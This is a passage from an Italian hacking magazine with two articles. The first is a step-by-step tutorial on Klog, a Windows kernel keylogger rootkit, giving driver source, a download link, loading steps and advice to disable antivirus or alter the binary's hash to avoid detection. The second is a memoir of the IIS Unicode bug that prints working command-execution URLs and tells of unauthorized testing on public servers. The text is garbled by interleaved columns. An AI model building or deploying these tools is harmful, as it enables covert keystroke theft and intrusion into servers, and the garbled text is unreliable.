modificare il codice), allo stesso tempo gli usi ai fini proprio per consentire la comunicazione tra i vari
sovversivi di questa tecnologia sono altrettanto device driver. La prima funzione invocata quando un
evidenti. Con poco sforzo diviene infatti possibile driver viene caricato in memoria è DriverEntry (un po'
creare componenti come keylogger e sniffer, come l'entry point di una comune applicazione in C è il
attaccandosi ai device driver che gestiscono tastiera e corpo main ed in una DLL la funzione DllMain) :
scheda di rete. Uno dei modi migliori per cominciare ad
DriverEntry(
addentrarsi in questo mondo parecchio vasto ed in
IN PDRIVER_OBJECT pDriverObject,
continua evoluzione è quindi quello di osservare da
IN PUNICODE_STRING RegistryPath )
vicino come è fatto un kernel rootkit. Per lo scopo di
quest'oggi analizzeremo il sorgente di esempio Klog[7],
un keylogger lato kernel scritto da Clandestinity,
divenuto molto celebre e diffuso in rete. Per ragioni di
spazio naturalmente nel presente articolo diversi
aspetti verranno tralasciati (ad esempio il significato di
[6] Non sempre questo è vero. I filter driver si distinguono infatti in
alcuni parametri passati a certe funzioni). Questi low ed upper filter. Quelli appartenenti alla prima categoria
possono comunque essere meglio compresi risiedono sopra il PDO ma sotto l'FDO, mentre i secondi stanno sia
analizzando la documentazione WDK di Microsoft sopra il PDO che l'FDO. Questi ultimi danno indubbiamente sfogo ai
casi più interessanti perché sono in grado di intercettare i dati
Windows (riferirsi al box accanto per ulteriori
passanti ancora prima del driver vero e proprio (ovvero del function
informazioni). Il codice è comunque ottimamente driver).
commentato e tradotto in lingua italiana per i lettori di
[7] http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz
Security System. Per una maggiore usufruibilità
dell'articolo consigliamo quindi di stamparlo e seguirlo [8] Componente di Windows che si occupa di veicolare le richieste
passo passo. di Input/Output allo strato kernel e permette il
caricamento/scaricamento dinamico dei driver.

47
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

Uno dei primi compiti che viene svolto all'interno di keyboard filter driver questo interesse è interamente
DriverEntry è quello di popolare l'IRP dispatch volto ad intercettare le richieste di lettura
table, un'array in cui vengono definiti dei puntatori a (IRP_MJ_READ) dalla tastiera (in pratica i tasti battuti
delle funzioni che gestiscono opportunamente le dall'utente):
richieste pervenute al driver. Poiché il mancato
recapito di tali richieste dal filtro ai driver di livello for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION;
inferiore precluderebbe certamente la corretta i++)
interazione dell'utente con il dispositivo associato, i pDriverObject->MajorFunction[i] =
filter driver devono supportare tutti gli IRP Request DispatchPassDown;

implementati dal driver di livello più basso. Di solito si


limitano quindi a definire una funzione di pass-thru[9] pDriverObject->MajorFunction[IRP_MJ_READ] =
DispatchRead;
per ogni possibile richiesta IRP (nell'esempio sotto
DispatchPassDown), salvo poi impostarne una
[9] Una funzione di pass-thru si limita semplicemente a
specifica per le richieste reputate di interesse (sempre passare inalterati gli IRP, ovvero le richieste pervenute, al
nell'esempio sotto DispatchRead). Nel caso di un driver di livello inferiore.

Il percorso compiuto da un IRP


Quando l'utente preme un tasto nella tastiera, l'I/O Manager del sistema operativo genera una richiesta IRP vuota
(IRP_MJ_READ) che attraversa tutta la catena dei device driver (Figura 1) fino al controller i8042 (quello preposto alla
gestione dell'hardware in questione). A questo punto all'interno dell'IRP viene collocato lo scancode (nient'altro che un
identificativo numerico che corrisponde al tasto premuto) e la richiesta viene inoltrata verso l'alto, ovvero compie il percorso
inverso. Tuttavia per vederla ritornare, il filter driver deve impostare una Completation Routine nel momento in cui riceve
l'IRP vuoto, una specie di marchio che ha un significato del tipo “voglio rivederti una volta che avrai lo scancode al tuo
interno”. Questo è il momento in cui un keylogger interviene. Ottenuto lo scancode, il keylogger deve convertirlo
all'effettivo tasto premuto utilizzando un'apposita tabella di conversione. Le tabelle di conversione possono essere
implementate attraverso delle keymap, vere e proprie mappe di caratteri che variano anche in modo parecchio consistente
in base al layout della tastiera (cioè alla lingua configurata nel sistema).

LIVELLO LOGICO LIVELLO LOGICO

Keyboard Filter Rootkit Device Object


Driver (Rootkit) (Senza nome)
“Klog.sys”

Keyboard class /device/keyboardclass0


driver
“Kbdclass.sys”

Keyboard bus Device Object senza nome


driver
“i8042prt.sys”

Catena dei driver Catena dei Device Object

LIVELLO FISICO 8042 Keyboard controller

Figura 1: Relazione che intercore tra ogni Driver e Device Object. Questa immagine non rappresenta fedelmente la catena di driver e
device object di una tastiera ma è da intendersi unicamente come esempio fruibile a maggiore comprensione dell'articolo.

48
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

Il passo successivo consiste nel creare un Device menzionato in precedenza:


Object da agganciare alla componente interessata.
All'interno della funzione HookKeyboard presente in RtlZeroMemory(
KbdHook.c, questo task viene svolto invocando pKeyboardDeviceObject->DeviceExtension,
sizeof(DEVICE_EXTENSION)
IoCreateDevice:
);

PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension =
(PDEVICE_EXTENSION)pKeyboardDeviceObject->
NTSTATUS status = IoCreateDevice( DeviceExtension;
pDriverObject,
sizeof(DEVICE_EXTENSION),
Si tratta di un struttura custom che i kernel developer
NULL, //no name
utilizzano per memorizzare informazioni di vario genere
FILE_DEVICE_KEYBOARD,
utili al corretto espletamento delle attività del driver. Nel
0,
true,
caso di Klog questa struttura è definita nel file header
&pKeyboardDeviceObject “Klog.h” ed il suo contenuto sarà più evidente in
); seguito. A questo punto si può finalmente precedere
all'hooking del Driver Device Object interessato.
Gli argomenti degni di nota della funzione L'aggancio viene eseguito, a partire dal nome
IoCreateDevice sono il secondo che rappresenta la identificativo dell'oggetto in questione, con la funzione
dimensione di DEVICE_EXTENSION (una struttura che IoAttachDevice. Ma a cosa agganciarci esattamente?
verrà inizializzata successivamente e che conterrà dei Esistono diversi punti di inserzione candidati per questo
campi driver-specific) ed il terzo che rappresenta scopo. Klog si aggancia tuttavia al Device Object
invece il nome assegnato al Device Object. In questo “\\Device\\KeyboardClass0“ gestito dal driver
caso l'oggetto sarà senza nome in quanto le kbdclass.sys. Si tratta di un Class Driver, ovvero un
applicazioni User Land non avranno necessità di tipo di device driver che gestisce degli hardware che
interagire direttamente con esso[10]. Il quarto ed il possono essere genericamente correlati ad una classe
settimo argomento indicano rispettivamente il tipo di ben definita di dispositivi o che hanno delle “funzioni” in
Device Object (FILE_DEVICE_KEYBOARD) e l'indirizzo comune:
che punta alla variabile pKeyboardDeviceObject che IoAttachDevice(
riceverà il puntatore all'oggetto creato. Il primo pKeyboardDeviceObject,
argomento è invece il puntatore al DriverObject &uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice
ottenuto come primo parametro della funzione
);
DriverEntry.

Per effettuare l'hooking vero e proprio sono necessari [10] Un nome ad un Device Object viene solitamente assegnato
altri due step. Anzitutto il Device Object appena creato quando l'oggetto in questione deve comunicare con una o più
deve emulare gli stessi flag del driver sottostante. Uno applicazioni lato utente, ricevendo da esse delle direttive ben
precise (le cosiddette IOCTL). Ad esempio nel caso di un driver che
strumento come Device Tree[11] può essere utilizzato
implementa delle funzionalità di firewalling, l'applicazione user land
per determinare tali flag: che consente all'utente di configurare le regole deve poter
pKeyboardDeviceObject->Flags = comunicare in qualche modo con il relativo Device Object per
pKeyboardDeviceObject->Flags | aggiungerle o rimuoverle dinamicamente.
(DO_BUFFERED_IO |
DO_POWER_PAGABLE [11] Le dipendenze e l'organizzazione stratificata dei device driver
); nel proprio sistema possono essere osservate con uno strumento
come DeviceTree disponibile previa registrazione dal sito
Dopo si deve inizializzare il Device Extension
http://www.osronline.com

49
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

Il primo parametro alla funziona indica il Device Object Il primo parametro passato a PsCreateSystemThread
creato in precedenza con IoCreateDevice. Il secondo è un handle dichiarato poco prima nel codice (HANDLE
è invece l'indirizzo alla stringa che contiene il nome hThread;) mentre il sesto corrisponde all'entry point
dell'oggetto che si sta hookando del thread che nel nostro caso verrà creato a partire dal
(\\Device\\KeyboardClass0) debitamente convertita codice presente nella funzione (ThreadKeyLogger).
in Unicode (tale conversione avviene un attimo prima L'ultimo argomento è il puntatore al Device Extention.
nel codice). IoAttachDevice ritorna anche un Come vedremo in seguito il thread utilizzerà alcuni dei
puntatore al Device Object appena agganciato. Questo campi contenuti in questa struttura per sincronizzarsi
viene memorizzato nel campo pKeyboardDevice della con la Completation Routine man mano che questa
struttura Device Extension per permettere al filtro di intercetterà gli scancode presenti negli IRP e per
passare correttamente gli IRP che riceverà al driver loggare su file i tasti convertiti. All'interno di
sottostante. ThreadKeyLogger, il flusso di esecuzione del thread si
blocca alla chiamata KeWaitForSingleObject in
Il Worker Thread attesa che gli scancode contenuti negli IRP che
“risalgono” dalla catena siano disponibili nella coda.
Adesso che l'hooking è completato in teoria siamo Questa coda viene creata in DriverEntry subito dopo
pronti ad intercettare e loggare i dati in arrivo. La parola il ritorno della funzione InitThreadKeyLogger con le
“teoria” non assume qui un significato casuale. Infatti chiamate a InitializeListHead,
mentre per espletare il primo task non sono richieste KeInitializeSpinLock e KeInitializeSemaphore:
particolari accortezze, il logging è un'operazione più
difficile da espletare in un driver poiché le operazioni di Il file di log
input/output sui file possono avvenire solamente ad un
livello denominato IRQL_PASSIVE_LEVEL, mentre la All'interno del blocco principale DriverEntry viene
Completation Routine (si veda il box a pagina 48) può quindi creato con la funzione ZwCreateFile il file in cui
essere richiamata solamente al livello
verranno loggati i tasti premuti:
DISPATCH_LEVEL, che è caratterizzato dalla
presenza di alcune limitazioni tra le quali appunto le ZwCreateFile(
operazioni di I/O sui file. Per bypassare questo &pKeyboardDeviceExtension->hLogFile,
problema, Klog subito dopo l'hooking, crea un thread GENERIC_WRITE,
che sarà responsabile di loggare i tasti premuti. La sua &obj_attrib,
inizializzazione avviene nella funzione &file_status,
“InitThreadKeyLogger” dichiarata in “kbdlog.c”. Il NULL,
punto più importante qui è proprio relativo alla FILE_ATTRIBUTE_NORMAL,
0,
creazione del thread con PsCreateSystemThread:
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
PsCreateSystemThread(
NULL,
&hThread,
0
(ACCESS_MASK)0,
);
NULL,
(HANDLE)0,
NULL, La funzione ZwCreateFile prende una serie di
ThreadKeyLogger, argomenti tra i quali i permessi di accesso al file,
pKeyboardDeviceExtension l'indirizzo della variabile in cui verrà memorizzato il suo
); descrittore (il campo hLogFile nella struttura Device
Extension) e gli attributi che descrivono l'oggetto

50
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

(obj_attrib). Tra questi attribuiti vi è anche la stringa pervenuta. Ma cosa è esattamente uno Stack
che specifica il nome del file, convertita in formato Location? Seppure ciascun IRP sia un'unica grande
Unicode e dichiarata poco prima nel codice come: struttura allocata in memoria, la sua dimensione varia in
base al numero di driver presenti nella catena. In parole
CCHAR ntNameFile[64] = povere per ogni driver presente nella catena, l'I/O
"\\DosDevices\\c:\\klog.txt"; Manager aggiunge uno spazio extra nell'IRP
denominato appunto IO_STACK_LOCATION in cui
Come già detto in precedenza il file di log una volta vengono collocati i parametri specifici della richiesta
creato potrà essere scritto solamente da un thread ricevuta. A questo punto l'IRP viene instradato verso il
caricante a livello IRQL_PASSIVE_LEVEL (il worker driver di livello inferiore con la funzione IoCallDriver.
thread creato nel paragrafo prima). A questo punto il Il primo parametro di questa funzione è proprio
blocco DriverEntry termina dopo aver popolato il l'indirizzo in cui si trova il device object del driver più in
campo DriverUnload del puntatore al driver object: basso (memorizzato nella variabile puntatore
pKeyboardDevice del Device Extension al momento
pDriverObject->DriverUnload = Unload;
dell'hook) mentre il secondo è il puntatore all'intera
struttura IRP(pIrp):
La funzione Unload viene invocata quando il driver
viene rimosso dalla memoria. Il suo scopo è quello di IoCallDriver(
liberare tutte le risorse allocate durante la sua ((PDEVICE_EXTENSION)
esecuzione. Klog è solo un Proof Of Concept (un codice pDeviceObject->DeviceExtension)->
dimostrativo) ed in quanto tale cerca di “uscire” dalla pKeyboardDevice,
memoria in modo pulito senza generare alcun crash del pIrp
sistema. Un rootkit nel mondo reale mira invece a );
rimanere in memoria per il più lungo arco temporale
possibile senza essere rimosso, pertanto la funzione di Un pò più complessa è la funzione DispatchRead
scaricamento viene usualmente e di proposito lasciata dichiarata in kbdhook.c che invece gestisce la
vuota. Nella maggior parte dei casi ciò causerà un Blue ricezione delle richieste IRP_MJ_READ. Per ogni IRP di
Screen Of Death dopo ogni tentativo di rilascio del questo tipo la funzione deve infatti impostare la
driver da user space. C o m p l e t a t i o n R o u t i n e c o n
IoSetCompleationRoutine, questo però dopo aver
Cominciano ad arrivare gli IRP… predisposto correttamente lo Stack Location:

Gli IRP che il filter driver riceve da questo momento in


poi possono essere collocati in due categorie: richieste
di lettura (IRP_MJ_READ) equivalenti alla pressione di
un tasto o tutte le altre richieste. Quelle appartenenti
alla seconda categoria vengono gestite dalla funzione
di pass-thru DispatchPassDown dichiarata in klog.c.
Sono un paio le operazioni base svolte al suo interno.
D a p p r i m a c o n l a m a c r o
IoSkipCurrentIrpStackLocation viene modificato il
[12] Come vedremo più avanti questo task può essere eseguito in
puntatore all'array di strutture IO_STACK_LOCATION in diversi modi, ad esempio manipolando direttamente i puntatori
modo che il driver di livello inferiore possa accedere alla ritornati da IoGetCurrentIrpStackLocation e
stessa struttura[12] ricevuta dal filter. Ciò consente di IoGetNextIrpStackLocation oppure utilizzando la funzione
lasciare assolutamente inalterata la richiesta IoCopyCurrentIrpStackLocationToNext

51
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

PIO_STACK_LOCATION currentIrpStack PKEYBOARD_INPUT_DATA keys =


= IoGetCurrentIrpStackLocation(pIrp); (PKEYBOARD_INPUT_DATA)pIrp->
AssociatedIrp.SystemBuffer;
PIO_STACK_LOCATION nextIrpStack =
IoGetNextIrpStackLocation(pIrp); int numKeys = pIrp->
IoStatus.Information
*nextIrpStack = *currentIrpStack; / sizeof(KEYBOARD_INPUT_DATA);

IoSetCompletionRoutine( Quindi per ciascun elemento prelevato dall'array


pIrp, aggiunge nella coda le informazioni di interesse (lo
OnReadCompletion, scancode ed i flags che indicano se il tasto è stato
pDeviceObject,
p r e m u t o o r i l a s c i a t o ) c o n
TRUE,
ExInterlockedInsertTailList . Gli elementi
TRUE,
TRUE
vengono inseriti uno alla volta.
);
Il Worker Thread a questo punto viene allertato della
L'argomento più importante passato a presenza di dati nella coda, li estrapola con la macro
IoSetCompletionRoutine è il secondo. Questo CONTAINING_RECORD e converte ciascuno scancode

specifica la funzione di callback che verrà invocata nell'effettivo tasto premuto passando questi dati alla
quando l'IRP sarà completato (ovvero quando da funzione ConvertScanCodeToKeyCode (dichiarata
richiesta “vuota” attraverserà la catena con lo scancode all'interno di scancode.c). Al ritorno da questa funzione
corrispondente al tasto premuto dall'utente). Anche in il Worker Thread registra su file il tasto effettivamente
questo caso l'IRP viene passato al driver di livello premuto con ZwWriteFile:
inferiore con IoCallDriver.
ZwWriteFile(
pKeyboardDeviceExtension->hLogFile,
Fase finale: Intercettazione e logging
NULL,
NULL,
Lo scopo della funzione OnReadCompletation è quindi NULL,
quello di estrapolare gli scancode e posizionarli nella &io_status,
coda tenuta sotto controllo dal Worker Thread in modo &keys,
che questo possa convertirli in appositi tasti da loggare strlen(keys),
su file. Dapprima Klog si assicura che l'IRP ritornato sia NULL,
stato “completato” con successo, ovvero abbia “a NULL
bordo” uno o più scancode: );

if(pIrp->IoStatus.Status == STATUS_SUCCESS) Gli argomenti più importanti a ZwWriteFile sono tre. Il


primo indica il descrittore al file memorizzato nella
In seguito preleva da SystemBuffer un array di Device Extension Area. Il sesto è il buffer che si deve
strutture KEYBOARD_INPUT_DATA (in cui è presente il scrivere ed il settimo la sua dimensione in byte[13].
membro MakeCode che è proprio preposto al
contenimento dello scancode) e da
IoStatus.Information la dimensione di questo
array: [13] Non tutti i tasti premuti equivalgono in dimensione ad un byte.
Alcuni tasti definiti estesi possono dare vita a più byte. Ad esempio il
tasto Invio genera contemporaneamente i byte “ritorno a carrello”
(0x0a) e “nuova linea” (0x0d).

52
FILTER DRIVER: Costruire rootkit a basso
sforzo sfruttando il modello driver
look at WINDOWS stratificato di Windows

Testare il funzionamento di Klog file C:\Klog.txt. Questo non potrà essere aperto
mentre il driver è in esecuzione. Per tale motivo è
A questo punto del codice possiamo dire che tutti i necessario scaricare il rootkit dalla memoria per potervi
principali aspetti di un keyboard filter driver sono stati accedere o eventualmente trovare un metodo
coperti (si rimanda per maggiore completezza, se non alternativo (ad esempio modificare il sorgente in modo
lo si è fatto fino ad ora, ai sorgenti commentati). Adesso che i tasti loggati vengano inviati per email o “sparati”
però è il momento di un po' di pratica! Per testare il fuori attraverso altri meccanismi).
funzionamento di Klog nel vostro sistema (quelli da noi
testati sono stati Windows 2000 Sp4 e Windows XP Il secondo metodo richiede invece uno step preventivo
SP2) potete procedere in due modi. Il primo è quello più in più: la compilazione dei sorgenti. Installato il WDK
semplice. Prelevate dal riferimento [7] il driver rootkit già (reperibile dove indicato nel Box a pagina 47) cliccate
compilato (Klog.sys[14]) ed il tool InstDrv.exe. su Start, Programmi, Windows Driver Kit, WDK6000,
Lanciate quest'ultimo. Nel text box inserite il percorso Build Environments e selezionate il tipo di sistema
completo in cui avete copiato il .sys, quindi cliccate operativo in cui il rootkit dovrà essere caricato.
dapprima sul pulsante “Install” e dopo su “Start”. Un Scegliete l'icona del prompt dei comandi marcata come
messaggio di avviso vi dovrebbe avvertire della corretta “Checked”, quindi all'apertura dell'interprete spostatevi
riuscita dell'operazione. A questo punto il rootkit è in con il comando DOS “cd” nella cartella in cui sono
esecuzione in memoria e dovreste accorgervene anche contenuti i sorgenti di Klog e lanciate il comando
dalla presenza nel vostro hard disk del file “build”. Al termine della compilazione l'oggetto binario
C:\Klog.txt. Digitate un po' di tasti (ad esempio verrà collocato all'interno della sottodirectory “bin”.
provate ad inviare una email o loggarvi alla vostra Svolgete le operazioni descritte in precedenza per
webmail protetta con SSL). Al termine cliccate sul caricarlo e testarlo.
pulsante “Stop” di InstDrv ed osservate il contenuto del

Scopri qui http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz


i contenuti extra messi a disposizione della redazione per questo articolo.

[14] Probabilmente klog.sys verrà identificata come una


componente infetta dal vostro antivirus, quindi per continuare a
svolgere il test dovrete momentaneamente disattivarlo. In
alternativa si può modificare il sorgente di klog quel minimo da far
apparire diverso l'hash del binario ricompilato così da azzittire le
misure di protezione installate nel sistema.

53
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG

che ti sistema a vita con uno stipendio modesto come

I
l tema dell'etica hacking è uno dei più dibattuti da
certe leggende metropolitane vorrebbero far credere.
oltre vent'anni e questo a dispetto della lunga
Forse una volta….But no more!
datazione di uno dei primi documenti, possiamo
definire cardine della cultura hacker primordiale, The I fatti
Conscience of a Hacker[1] (anche noto come The
Hacker Manifesto), apparso per la prima volta l'8 Tutto ebbe inizio con un post anonimo nel forum di
gennaio del 1986 nel numero 7 di Phrack. Scritto da Packetstorm il 10 ottobre del 2000:
The Mentor dopo il suo arresto, oggi diffuso in
svariati siti web, rappresenta ancora la principale Title: IIS5 has a very big bug that
fonte di ispirazione per molti hacker o sedicenti tali, let you execute arbitrary command
persone “ispirate” in gran parte della casistica a
commettere deface: “Ma The Hacker Manifesto non On my win2000+IIS5 ,I can use this URL
dice esplicitamente che non si può defacciare un sito to execute dir command:
Web!” E come potrebbe?? D'altronde è stato scritto http://127.0.0.1/scripts/..%c1%1c../wi
prima ancora che Tim Berners-Lee assieme a nnt/system32/cmd.exe?/c+dir+c:\
Robert Cailliau progettassero le specifiche
preliminari di HTTP ed HTML ed il concetto di World and this is a example:
Wide Web a cavallo tra il 1989 ed il 1990! La http://www.linux.org.cn/scripts/..%c1%
sensazione al momento, parlando appunto di “etica 1c../winnt/system32/cmd.exe?/c+dir+c:\
hacking”, pare essere che ci si stia allontanando
sempre più dalla meta, utilizzando pretesti farlocchi Il contenuto del messaggio era auto-esplicativo e
per giustificare azioni oggettivamente senza senso, descriveva quello che sarebbe passato alla storia
utili forse ad esaltare unicamente un ego alterato e come l'IIS Unicode Bug. La vulnerabilità permetteva
represso. Ad esempio, dove sta la ricerca della di eseguire remotamente qualsiasi comando su un
conoscenza e dell'informazione nel defacciare il sito sistema in cui era installato Internet Information
del comune di Sant'Ilario dello Ionio o di Monastir in Services 5.0, il web server Microsoft in dotazione di
quel di Cagliari come realmente accaduto negli ultimi default con Windows 2000, semplicemente digitando
mesi? la stringa descritta nel post all'interno di un qualsiasi
browser web. Il problema risiedeva apparentemente
Quella che vi proponiamo oggi è una storia come nel modo in cui il servizio gestiva i caratteri Unicode,
tante altre, una storia dalla quale presumiamo, anzi decodificandoli solo successivamente anziché prima
siamo convinti, si possa trarre una morale (in fondo le della validazione del percorso e della risorsa richiesta
storie dovrebbero servire proprio ad imparare non dall'utente. Inutile dire che www.linux.org.cn fu
solo dagli errori personali ma anche e soprattutto da bucato in quelle ore da migliaia di provetti hacker ed
quelli commessi dagli altri). Si parla di un ragazzo infestato dalle peggiori backdoor che potessero
stupido e fortunato allo stesso tempo. Forse non un esistere nella rete. Davvero strano il destino di questo
hacker. Una persona che ammette di aver compiuto sito i cui contenuti, residenti su piattaforma
delle azioni “incaute” per uno scopo ben preciso proprietaria Microsoft, miravano invece ad informare
(sicuramente opinabili) ma che aldilà della rabbia che gli utenti dell'esistenza del movimento open source e
aveva dentro non è stato così codardo da del sistema operativo Linux. Oggi in quel server ci
prendersela con il primo di turno, che ha deciso gira una Debian con Apache. Come hanno dichiarato
piuttosto di “piegare il sistema” per raggiungere il suo alcuni miei amici profondi sostenitori delle tecnologie
obiettivo, non prenderlo a martellate! Perché non aperte, probabilmente chi gestiva quel sistema ha
sono tutte rose e fiori. Se ti beccano oggi non vai a imparato la lezione.
lavorare per la NASA o per una grossa multinazionale
[1] http://www.phrack.org/archives/7/P07-03

54
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG

Tornando alla storia dei fatti, in realtà esisteva un problema. Prima che la vulnerabilità divenisse celebre
grosso impedimento. Il trucco descritto nel post di io ero comunque già al corrente di questo fatto.In realtà
Packetstorm funzionava solamente sui server cinesi. ci avevo sbattuto il grugno per diverse
Quelli europei ed americani sembravano non essere ore perché dopo aver installato Windows 2000 nella
minimamente intaccati dal problema. Iniziai quindi a mia LAN di casa e trovato la corretta sequenza di
cercare di capire il perché. A quel tempo non avevo la caratteri Unicode, avevo aggiornato il server con tutte
minima conoscenza del set di caratteri Unicode. le patch disponibili del momento e dopo il reboot non
Installai Windows 2000 Server sulla mia LAN di casa ero più riuscito a replicare il problema durante i test
e cominciai velocemente a documentarmi su di esso. successivi. Ci volle un bel po' prima che riuscissi ad
Appresi i concetti base e cominciai a pensare tra me e individuare la patch che rendeva nulla la falla. Allora più
me che i cinesi utilizzavano sicuramente un set di di oggi installare gli aggiornamenti del sistema
caratteri diverso rispetto a quello adottato in Italia. La operativo era comunque un optional quasi per
chiave di volta risiedeva quindi probabilmente nel chiunque (sia che fosse un'azienda, sia che fosse un
trovare la giusta sequenza di caratteri Unicode semplice utente desktop) ed è per questo motivo che i
funzionante sui server Windows che supportavano la worm ed i virus che sfruttarono in seguito l'Unicode Bug
lingua inglese ed italiana. Scrissi allora un piccolo per diffondersi in rete, hanno potuto scorrazzare
programma in C che testava ciclicamente delle liberamente per anni prima di essere quasi del tutto
occorrenze differenti di “%c1%1c” (quella a sua debellati (ma questa è una questione che affronteremo
volta menzionata nel post di Packetstorm). Ciascuna in seguito). La patch MS00-57[2] menzionata nel
occorrenza veniva poi automaticamente inviata al bollettino MS00-78[3] non l'aveva insomma installata,
web server, nel tentativo di eseguire il comando “dir fino a quel momento, quasi nessuno. Oggi proprio per
c:\”. Poi osservavo le risposte ritornate alla ricerca questa sorta di negligenza, insita possiamo definire
di un output favorevole. Alla fine trovai un'occorrenza “built-in” nella maggior parte degli utenti, sono molti i
funzionante in “%c0%af”. Questa fu la prima ed vendor che hanno cominciato ad includere nei loro
ultima che scoprì. Più avanti altri ricercatori molto più software delle procedure automatiche di
curiosi di me avrebbero testato tutte le combinazioni aggiornamento. Avast ad esempio non mi avverte
Unicode possibili trovandone altre utilizzabili. A nemmeno più di stare lanciando un update delle
questo punto aprì il mio browser, presi dalla lista di definizioni antivirus e me ne accorgo solo quando la
una scansione fatta in precedenza il primo indirizzo spia rossa del mio hard disk comincia a lampeggiare
IP pubblico a cui sembrava rispondere un web server come un'autoambulanza ed il PC si blocca per qualche
IIS ed incollai lì la stringa: secondo! Alla fine, dopo svariati tentativi con IP
pubblici, mi accorsi che ad essere vulnerabili
“http://Indirizzo_IP/scripts/..%c0%af. all'Unicode Bug erano tutte le versioni di IIS (a partire
./winnt/system32/cmd.exe?/c+dir+c:\”
dalla 5.0 montata su Windows 2000 fino al primordiale
release 2.0 delle versioni precedenti del sistema
Ricontrollai un'ultima volta l'URL, quindi pigiai il tasto
operativo Microsoft). Il calendario del mio PC segnava
Invio. Tutto andò come previsto. Il server in questione
a quel tempo il 12 Ottobre dell'anno 2000. Fino a quel
mi ritornò in output le directory del suo volume C. Ero
momento nessuno aveva replicato al post originario sul
riuscito a riprodurre la vulnerabilità non solo in locale
forum di Packetstorm, né comunicato su qualunque
ma anche su Internet. Testai altri indirizzi IP
altro una scoperta simile alla mia.
ottenendo gli stessi risultati positivi. Tutti i server,
nessuno escluso, risultavano essere vulnerabili. Più
avanti quando Microsoft cominciò a prestare [2] http://www.microsoft.com/technet/security/bulletin/ms00-
attenzione all'Unicode Bug si apprese che una patch 057.mspx
rilasciata dalla compagnia nell'agosto del 2000, per [3] http://www.microsoft.com/technet/security/bulletin/ms00-
uno scopo completamente differente, risolveva già il 078.mspx

55
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG

Avevo in pratica sotto controllo un paio di milioni di La telefonata alla Banca di Roma
web server in tutto il mondo! Uno 0day di questo tipo
oggi farebbe la fortuna di molti criminali online. “Banca di Roma buongiorno, sono XXXX come
In realtà la pacchia durò meno di una settimana. Il 17 posso aiutarla?” – rispose una voce femminile
ottobre dello stesso anno, il ricercatore di sicurezza dall'altra parte del telefono.
noto con il nickname RFP (Rain Forest Puppy) svelò “Si salve” – dissi io con la voce spezzata ed impaurita
quello che io avevo già scoperto da cinque giorni. Nel di un ragazzo che aveva appena realizzato di stare
frattempo non ero rimasto con le mani in mano. commettendo una grossa stupidaggine – “sto
Cinque giorni nel conoscere una vulnerabilità così chiamando per segnalare una pericolosa falla nel
importante sono un notevole vantaggio se sfruttati vostro sito web”.
adeguatamente. Impiegai questo vantaggio Passarono alcuni secondi di ghiaccio, poi la voce
barattando la mia scoperta in cerca di un lavoro, femminile, presa di sorpresa, si fece risentire
ovvero cercando di impressionare favorevolmente cercando di non nascondere affatto il suo classico
qualche azienda. Oggi, con il senno del poi, tiro un accento romanesco: “Credo de non avè capito
sospiro di sollievo e comprendo che mi è andata bbene. Po' spiegamme mejo?”
davvero bene. Avrei potuto rischiare grosso ma il Ed io risposi senza mezzi termini: “Il vostro sito
gioco all'epoca mi sembrava che valesse la candela. www.bancadiroma.it risiede su un'istanza del web
Avevo 19 anni ed ero disoccupato. Nessuna server IIS che permette a chiunque di eseguire
compagnia era disposta ad assumermi o darmi un comandi dall'esterno della vostra LAN o visualizzare i
lavoro perché non avevo ancora adempiuto agli file del sistema… E' una cosa grave!”
obblighi militari…e ripensandoci, allora avevo una Dubitai che la ragazza avesse capito qualcosa. Poi
rabbia da anarchico insoddisfatto che riuscivo a con mia profonda sorpresa mi disse in dialetto meno
placare a malapena, soprattutto quando mi trovavo di accentuato: “Uhhh ma allora sei un hacker? Puoi
fronte all'evidenza di tante prospettive di lavoro aspettare un momento?” – quindi fece partire una di
rovinate o mancate a causa di quello stupido quelle orrende musichette, classiche di quando si
adempimento obbligatorio che era la leva. mette in attesa una persona. “Adesso” - pensai tra me
e me – “mi tracciano e mi arrestano!”. Decisi, come si
Partono le telefonate vede ogni tanto nei film alla TV, che se la ragazza non
fosse ritornata al telefono entro quindici secondi,
Quella che segue è la cronaca approssimativa avrei abbassato la cornetta. In quel momento presi
ricostruita a memoria di ciò che accadde tra il 12 coscienza che non era tanto folle il fatto che stessi
ottobre del 2000 ed i giorni delle settimane cercando di avvertire una banca del grave rischio che
successive. Fino a quel momento non vi era server correva, quanto quello che li stavo proprio chiamando
IIS che testassi che non fosse vulnerabile all'Unicode dall'utenza telefonica di casa intestata ai miei
Bug ed i siti delle banche italiane non facevano certo genitori! Dopo qualche secondo la musichetta si
eccezione. Ne presi di mira una ventina, interruppe e la ragazza mi disse:
approfittando degli URL segnalati in un numero di “Ti passo il servizio tecnico e racconti a loro di questa
Jack uscito proprio in quel periodo. Più della metà cosa. Ok?”. Annuì ringraziando e mi passarono il
erano vulnerabili all'Unicode Bug. Fra questi ne scelsi CED. Qui parlai con un tecnico che senza nemmeno
tre: Banca di Roma, Webank (ovvero la Banca interessarsi del problemi mi chiese come si poteva
Popolare di Milano) e Banca 121, esattamente risolvere. Gli dettai per telefono il link web in cui
localizzate al centro, al nord ed al sud Italia. Interrogai risiedeva la patch MS00-57 e ci salutammo dopo aver
il database whois del NIC (www.nic.it) per risalire ai ricevuto da lui un freddo ringraziamento e la
numeri telefonici delle rispettive sedi e cominciai a promessa che avrebbe provveduto a rimuovere “la
chiamare. minaccia”. Riagganciai amaramente la cornetta con

56
LA VERA STORIA
Racconti dall’ underground DELL’ UNICODE BUG

la certezza che dopo qualche giorno la polizia postale fax:


avrebbe bussato alla porta di casa.
